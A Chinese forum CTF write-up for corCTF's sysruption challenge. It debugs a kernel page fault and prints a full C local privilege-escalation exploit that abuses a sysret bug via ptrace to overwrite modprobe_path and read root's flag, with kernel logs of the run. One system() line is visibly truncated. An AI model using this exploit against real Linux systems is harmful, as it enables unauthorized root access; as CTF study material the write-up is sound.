[   23.272230] CR2: 00000000000001e0 CR3: 0000000100a8c006 CR4: 0000000000770ef0
......

可以看到最后在 get_flag  时,在 inc_rlimit_ucounts 中发生了 #PF,既然是缺页故障,拿必然就是某个读取值存在问题了。

(remote) gef➤  gef-remox/40gi inc_rlimit_ucounts
   0xffffffff8109e980 <inc_rlimit_ucounts>:    test   rdi,rdi
   0xffffffff8109e983 <inc_rlimit_ucounts+3>:   je     0xffffffff8109e9e1 <inc_rlimit_ucounts+97>
   0xffffffff8109e985 <inc_rlimit_ucounts+5>:   mov    r8d,esi
   0xffffffff8109e988 <inc_rlimit_ucounts+8>:   mov    rcx,rdi
   0xffffffff8109e98b <inc_rlimit_ucounts+11>:  xor    r10d,r10d
   0xffffffff8109e98e <inc_rlimit_ucounts+14>:  movabs r9,0x7fffffffffffffff
   0xffffffff8109e998 <inc_rlimit_ucounts+24>:  lea    rsi,[r8*8+0x70]
   0xffffffff8109e9a0 <inc_rlimit_ucounts+32>:  add    r8,0x46
   0xffffffff8109e9a4 <inc_rlimit_ucounts+36>:  jmp    0xffffffff8109e9c2 <inc_rlimit_ucounts+66>
   0xffffffff8109e9a6 <inc_rlimit_ucounts+38>:  cmp    rdi,rcx
   0xffffffff8109e9a9 <inc_rlimit_ucounts+41>:  cmove  r10,rax
   0xffffffff8109e9ad <inc_rlimit_ucounts+45>:  mov    rax,QWORD PTR [rcx+0x10]
   0xffffffff8109e9b1 <inc_rlimit_ucounts+49>:  mov    rcx,QWORD PTR [rax+0x1e0] <==== PAGE FAULT
......

哪这里多半就是 rax 的值存在问题了,调试跟踪:

$rax   : 0x0
......
   0xffffffff8109e9a6 <inc_rlimit_ucounts+38> cmp    rdi, rcx
   0xffffffff8109e9a9 <inc_rlimit_ucounts+41> cmove  r10, rax
   0xffffffff8109e9ad <inc_rlimit_ucounts+45> mov    rax, QWORD PTR [rcx+0x10]
●→ 0xffffffff8109e9b1 <inc_rlimit_ucounts+49> mov    rcx, QWORD PTR [rax+0x1e0]
   0xffffffff8109e9b8 <inc_rlimit_ucounts+56> mov    r9, QWORD PTR [rax+r8*8+0x8

可以看到这里的 rax = 0,所以 mov rcx, QWORD PTR [rax+0x1e0] 就会出现 #PF,而我们向前看的话会发现:

   0xffffffff8109e9ad <inc_rlimit_ucounts+45> mov    rax, QWORD PTR [rcx+0x10]

rax 的值为 QWORD PTR [rcx + 0x10]

(remote) gef➤  x/16gx $rcx
0xffffffff8203b6c0:     0xffffffff8203b740      0xffffffff8203b808
0xffffffff8203b6d0:     0x0000000000000000 <== rcx+0x10      0x0000000100000000
0xffffffff8203b6e0:     0x0000000000000000      0xffffffff810c50b3
0xffffffff8203b6f0:     0xffffffff00000018      0xffffffff8203b750
0xffffffff8203b700:     0xffffffff8203b710      0xe1e1c00db29d7d00
0xffffffff8203b710:     0x0000000080050033      0xffffffff81e99724
0xffffffff8203b720:     0x0000000055555554      0x0000000000000000
0xffffffff8203b730:     0x0000000000000001      0xffffffff8203b5c0

而我们来看下正常情况下 rcx 作为地址处的值:

(remote) gef➤  gef-remox/16gx $rcx
0xffffffff8203b6c0:     0xffff888100049600      0xffffffff82640160
0xffffffff8203b6d0:     0xffffffff8203a320      0x0000002e00000000
0xffffffff8203b6e0:     0x0000000000000000      0x0000000000000000
0xffffffff8203b6f0:     0x0000000000000000      0x0000000000000000
0xffffffff8203b700:     0x0000000000000000      0x0000000000000000
0xffffffff8203b710:     0x0000000000000000      0x0000000000000000
0xffffffff8203b720:     0x0000000000000000      0x0000000000000000
0xffffffff8203b730:     0x0000000000000029      0x0000000000000000

所以这里我们尽量模拟 $rcx 范围的值不发生改变,正常情况下 rcx + 0x20 后的值都是 0,其我们可以不用关,主要就是前面的数据。为啥呢?因为这里的目前是防止解引用错误。

而调试发现,0xffffffff8203b6c0 这个地址似乎是固定的?所以这里可以直接修改此次的值,当然这里得确认是哪几个寄存器控制这些值。

测试代码:

......
  puts("\n[+] do_sysret to fix up");
        for (int i = 0; i < sizeof(regs) / 8; i++) {
                ((uint64_t*)&regs)[i] = 0xAAAAAAAA + i;
        }
        do_sysret(fix_up + 0xa0, &regs);
        sleep(1);
......

测试结果:

$rax   : 0xaaaaaaad
......
   0xffffffff8109e9a6 <inc_rlimit_ucounts+38>  cmp    rdi, rcx
   0xffffffff8109e9a9 <inc_rlimit_ucounts+41>  cmove   r10, rax
   0xffffffff8109e9ad <inc_rlimit_ucounts+45>  mov    rax, QWORD PTR [rcx+0x10]
●→ 0xffffffff8109e9b1 <inc_rlimit_ucounts+49> mov    rcx, QWORD PTR [rax+0x1e0]
......
(remote) gef➤  x/16gx $rcx
0xffffffff8203b6c0:     0x00000000aaaaaaab      0x00000000aaaaaaac
0xffffffff8203b6d0:     0x00000000aaaaaaad      0x00000001aaaaaaae
0xffffffff8203b6e0:     0x00000000aaaaaaaf      0x0000000000000246
0xffffffff8203b6f0:     0x00000000aaaaaab1      0x00000000aaaaaab2
0xffffffff8203b700:     0x00000000aaaaaab3      0x0000000000000053
0xffffffff8203b710:     0x8000000000000000      0x00000000aaaaaab6
0xffffffff8203b720:     0x00000000aaaaaab7      0x00000000aaaaaab8
0xffffffff8203b730:     0x0000000000000000      0xffffffff81a00191

所以这里第 2~4 个寄存器即可控制前面 0x20 的数据。

最后 exp 如下(关闭 kaslr):

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/syscall.h>

uint64_t kbase = 0xffffffff81000000;
uint64_t phy_base = 0xffff888000000000;
uint64_t gsbase = 0x13bc00000;
uint64_t modprobe_path = 0x103b840;
uint64_t fix_up = 0x103b6c0;

void do_sysret(uint64_t addr, struct user_regs_struct *regs_arg) {
    struct user_regs_struct regs;
    int status;
    pid_t chld;

    memcpy(&regs, regs_arg, sizeof(regs));

    if ((chld = fork()) < 0) {
        perror("fork");
        exit(1);
    }

    if (chld == 0) {
        if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
            perror("PTRACE_TRACEME");
            exit(1);
        }

        asm volatile("wrgsbase %0" : : "r" (gsbase));

        raise(SIGSTOP);
        fork();
        return 0;
    }

    waitpid(chld, &status, 0);

    ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);
    ptrace(PTRACE_CONT, chld, 0, 0);

    waitpid(chld, &status, 0);

    regs.rip = 0x8000000000000000; // not-canonical
    regs.rcx = 0x8000000000000000; // not-canonical
    regs.rsp = addr;

    // necessary stuff
    regs.eflags = 0x246;
    regs.r11 = 0x246;
    regs.ss = 0x2b;
    regs.cs = 0x33;

    // just needs to be bad (> TASK_MAX) so the value set by wrgsbase isn't overwritten
    regs.gs_base = -1;

    ptrace(PTRACE_SETREGS, chld, NULL, &regs);
    ptrace(PTRACE_CONT, chld, 0, 0);
    ptrace(PTRACE_DETACH, chld, 0, 0);
}

void pre_get_flag(){
        system("echo -ne '#!/bin/sh\ncp /root/flag.txt /tmp/flag.txt\nchown ctf:ctf /tmp;
        system("chmod +x /tmp/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
        system("chmod +x /tmp/dummy");
}

void get_flag() {
        system("/tmp/dummy");
        system("cat /tmp/flag.txt");
        exit(0);
}

int main() {

        struct user_regs_struct regs;

        pre_get_flag();

        gsbase += phy_base;
        modprobe_path += kbase;
        fix_up += kbase;

        char str[8] = "/tmp/x\x00\x00";
        for (int i = 0; i < sizeof(regs) / 8; i++) {
                ((uint64_t*)&regs)[i] = *((uint64_t*)str);
        }

        puts("\n[+] do_sysret to change modprobe_path");
//      getchar();
        do_sysret(modprobe_path + 0x78, &regs);
        sleep(1);

        puts("\n[+] do_sysret to fix up");
        for (int i = 0; i < sizeof(regs) / 8; i++) {
                ((uint64_t*)&regs)[i] = 0;
        }

        ((uint64_t*)&regs)[1] = phy_base + 0x100049600;
        ((uint64_t*)&regs)[2] = kbase + 0x1640160;
        ((uint64_t*)&regs)[3] = kbase + 0x103a320;
        ((uint64_t*)&regs)[4] = 0x0000002e00000000;

        do_sysret(fix_up + 0xa0, &regs);
        sleep(1);

        puts("\n[+] get_flag");
//      getchar();
        get_flag();
        sleep(1);
        puts("[+] EXP NEVER END");
        return 0;
}

效果如下:

ctf@corctf:~$ ./poc

[+] do_sysret to change modprobe_path
[   54.860622] general protection fault, maybe for address 0x52: 0000 [#1] PREEMPT SMP NOPTI
[   54.863942] CPU: 0 PID: 81 Comm: poc Not tainted 6.3.4 #14
[   54.866204] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
[   54.869854] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[   54.875756] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 00 00 48 81 cf 00 10 00 00 0f 22 df 58 5f 5c 0f 01 f8 <48> 0f 07 cc 66 66 2e 0f 1f 84 08
[   54.897567] RSP: 0018:ffffffff8203b8b8 EFLAGS: 00010046
[   54.900951] RAX: 0000000000000052 RBX: 0000782f706d742f RCX: 8000000000000000
[   54.908092] RDX: 0000782f706d742f RSI: 0000782f706d742f RDI: 0000782f706d742f
[   54.912087] RBP: 0000782f706d742f R08: 0000782f706d742f R09: 0000782f706d742f
[   54.916936] R10: 0000782f706d742f R11: 0000000000000246 R12: 0000782f706d742f
[   54.923207] R13: 0000782f706d742f R14: 0000782f706d742f R15: 0000782f706d742f
[   54.928403] FS:  0000782f706d742f(0000) GS:ffff88813bc00000(0000) knlGS:ffff88813bc00000
[   54.934439] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   54.941481] CR2: 0000000000c72840 CR3: 0000000100acc003 CR4: 0000000000770ef0
[   54.946718] PKRU: 55555554
[   54.948308] Call Trace:
[   54.950252] Modules linked in:
[   54.952905] ---[ end trace 0000000000000000 ]---
[   54.956570] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[   54.959973] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 00 00 48 81 cf 00 10 00 00 0f 22 df 58 5f 5c 0f 01 f8 <48> 0f 07 cc 66 66 2e 0f 1f 84 08
[   54.975296] RSP: 0018:ffffffff8203b8b8 EFLAGS: 00010046
[   54.979096] RAX: 0000000000000052 RBX: 0000782f706d742f RCX: 8000000000000000
[   54.983603] RDX: 0000782f706d742f RSI: 0000782f706d742f RDI: 0000782f706d742f
[   54.990378] RBP: 0000782f706d742f R08: 0000782f706d742f R09: 0000782f706d742f
[   54.996204] R10: 0000782f706d742f R11: 0000000000000246 R12: 0000782f706d742f
[   55.000951] R13: 0000782f706d742f R14: 0000782f706d742f R15: 0000782f706d742f
[   55.006682] FS:  0000782f706d742f(0000) GS:ffff88813bc00000(0000) knlGS:ffff88813bc00000
[   55.012856] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   55.015931] CR2: 0000000000c72840 CR3: 0000000100acc003 CR4: 0000000000770ef0
[   55.022360] PKRU: 55555554
[   55.024861] note: poc[81] exited with irqs disabled

[+] do_sysret to fix up
[   55.870690] general protection fault
[   55.873686] general protection fault, maybe for address 0x54: 0000 [#2] PREEMPT SMP NOPTI
[   55.881308] CPU: 0 PID: 83 Comm: poc Tainted: G      D            6.3.4 #14
[   55.883938] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
[   55.889846] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[   55.894069] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 00 00 48 81 cf 00 10 00 00 0f 22 df 58 5f 5c 0f 01 f8 <48> 0f 07 cc 66 66 2e 0f 1f 84 08
[   55.911307] RSP: 0018:ffffffff8203b760 EFLAGS: 00010046
[   55.915745] RAX: 0000000000000054 RBX: 0000000000000000 RCX: 8000000000000000
[   55.922827] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000
[   55.927877] RBP: 0000002e00000000 R08: 0000000000000000 R09: 0000000000000000
[   55.934469] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffff8203a320
[   55.939055] R13: ffffffff82640160 R14: ffff888100049600 R15: 0000000000000000
[   55.944725] FS:  0000000000000000(0000) GS:ffff88813bc00000(0000) knlGS:ffff88813bc00000
[   55.950507] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   55.953619] CR2: 0000000000c72840 CR3: 0000000100acc006 CR4: 0000000000770ef0
[   55.957433] PKRU: 55555554
[   55.958668] Call Trace:
[   55.960963] Modules linked in:
[   55.964387] ---[ end trace 0000000000000000 ]---
[   55.968013] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[   55.971660] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 00 00 48 81 cf 00 10 00 00 0f 22 df 58 5f 5c 0f 01 f8 <48> 0f 07 cc 66 66 2e 0f 1f 84 08
[   55.986549] RSP: 0018:ffffffff8203b8b8 EFLAGS: 00010046
[   55.991037] RAX: 0000000000000052 RBX: 0000782f706d742f RCX: 8000000000000000
[   55.995083] RDX: 0000782f706d742f RSI: 0000782f706d742f RDI: 0000782f706d742f
[   56.001529] RBP: 0000782f706d742f R08: 0000782f706d742f R09: 0000782f706d742f
[   56.006144] R10: 0000782f706d742f R11: 0000000000000246 R12: 0000782f706d742f
[   56.012928] R13: 0000782f706d742f R14: 0000782f706d742f R15: 0000782f706d742f
[   56.019846] FS:  0000000000000000(0000) GS:ffff88813bc00000(0000) knlGS:ffff88813bc00000
[   56.025685] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   56.031767] CR2: 0000000000c72840 CR3: 0000000100acc006 CR4: 0000000000770ef0
[   56.039399] PKRU: 55555554
[   56.041014] note: poc[83] exited with irqs disabled

[+] get_flag
[   56.889309] ------------[ cut here ]------------
[   56.894489] WARNING: CPU: 0 PID: 27 at kernel/ucount.c:285 dec_rlimit_ucounts+0x4f/0x60
[   56.905581] Modules linked in:
[   56.908304] CPU: 0 PID: 27 Comm: kworker/u2:1 Tainted: G      D            6.3.4 #14
[   56.915819] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
[   56.920894] Workqueue: events_unbound call_usermodehelper_exec_work
[   56.925990] RIP: 0010:dec_rlimit_ucounts+0x4f/0x60
[   56.931058] Code: c1 04 31 48 29 d0 78 22 48 39 cf 4c 0f 44 c0 48 8b 41 10 48 8b 88 e0 01 00 00 48 85 c9 75 db 4d 85 c0 0f 94 c0 c3 cc cc cc cc <0f> 0b eb da 31 c0 c3 cc cc cc c0
[   56.948338] RSP: 0018:ffffc900000e3d00 EFLAGS: 00010297
[   56.951704] RAX: ffffffffffffffff RBX: ffffc900000e3e08 RCX: ffffffff8203b6c0
[   56.957035] RDX: 0000000000000001 RSI: 0000000000000070 RDI: ffffffff8203b6c0
[   56.961815] RBP: ffff88810103c140 R08: ffffffffffffffff R09: ffffffffffffffff
[   56.968173] R10: 00000000000000bb R11: 00000000000009e9 R12: ffffffff8203b6c0
[   56.972953] R13: 0000000000000010 R14: dead000000000122 R15: 0000000000000000
[   56.979591] FS:  0000000000000000(0000) GS:ffff88813bc00000(0000) knlGS:0000000000000000
[   56.987164] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   56.991283] CR2: 000000000065eff0 CR3: 000000000202c006 CR4: 0000000000770ef0
[   56.998861] PKRU: 55555554
[   57.002433] Call Trace:
[   57.005565]  <TASK>
[   57.007367]  release_task+0x47/0x4b0
[   57.011674]  ? thread_group_cputime_adjusted+0x46/0x70
[   57.017727]  wait_consider_task+0x90d/0x9e0
[   57.020530]  do_wait+0x17b/0x2c0
[   57.022370]  kernel_wait+0x44/0x90
[   57.024532]  ? __pfx_child_wait_callback+0x10/0x10
[   57.027662]  call_usermodehelper_exec_work+0x72/0x80
[   57.033738]  process_one_work+0x1b1/0x340
[   57.037279]  worker_thread+0x45/0x3b0
[   57.039978]  ? __pfx_worker_thread+0x10/0x10
[   57.043033]  kthread+0xd1/0x100
[   57.046609]  ? __pfx_kthread+0x10/0x10
[   57.050986]  ret_from_fork+0x29/0x50
[   57.054256]  </TASK>
[   57.055543] ---[ end trace 0000000000000000 ]---
/tmp/dummy: line 1: ����: not found
corctf{tHIS is a SoFtWare ImPLEMENTAtioN isSuE. iNTeL PRoCESSORS ArE fuNCtIONinG AS PEr sPeCiFIcaTionS anD ThIS BEHavioR Is cORRecTly documEnteD IN tHE INTEL SofTwArE DEvELOPErs ma}
[   57.084675] poc (76) used greatest stack depth: 13768 bytes left
ctf@corctf:~$ cat /tmp/flag.txt
corctf{tHIS is a SoFtWare ImPLEMENTAtioN isSuE. iNTeL PRoCESSORS ArE fuNCtIONinG AS PEr sPeCiFIcaTionS anD ThIS BEHavioR Is cORRecTly documEnteD IN tHE INTEL SofTwArE DEvELOPErs ma}
ctf@corctf:~$

开启 kaslr 时,利用预取指令侧信道即可泄漏 kbasephy_base,这里就不再赘述了。

调试技巧

这里分享一个小的调试技巧,就是当我调试 exp 时,发现无法插入断点:

(remote) gef➤  c
Continuing.
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x401d05

Command aborted.

这时我们可以添加一个 getchar,并直接将目标位置的地址给打印出来:

int main() {

        char RSP[0x3000] = { 0 };

        struct user_regs_struct regs;
        printf("%#p\n", RSP);
        printf("%#p\n", do_sysret); // <=== 打印预下断点位置的地址
        getchar();     // stop stop
        do_sysret(RSP + 0x1000, &regs);
        sleep(1);

        puts("[+] EXP NEVER END");
        return 0;
}

这样程序就会停下来接收我们的输入,这时直接 Ctrl + c 然后在目标位置 do_sysret 下断点即可。

总结

首先感谢 FizzBuzz101 出的这么好的题目;然后也非常感谢 zolutal 通俗易懂的题解。总的来说是一次不错的体验,也让我认识到了自己的不足,kernel 的利用不仅仅在于"堆"和各种结构体。从之前的 hxpctf one_byte 的利用调用门提权到 corctf sysruptionsysret bug,学到了很多底层相关东西,也希望今后自己能够打好基础,对底层相关原理有更深的理解。




[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2024-3-1 14:16 被XiaozaYa编辑 ,原因:
收藏
免费 2
打赏
分享
最新回复 (2)
雪    币: 6038
活跃值: (2180)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
XiaozaYa 5 2024-2-1 18:05
2
0
咋删贴啊,咋投到 茶余饭后 板块去了
雪    币: 21012
活跃值: (30261)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2024-2-2 15:22
3
1
感谢分享
游客
登录 | 注册 方可回帖
返回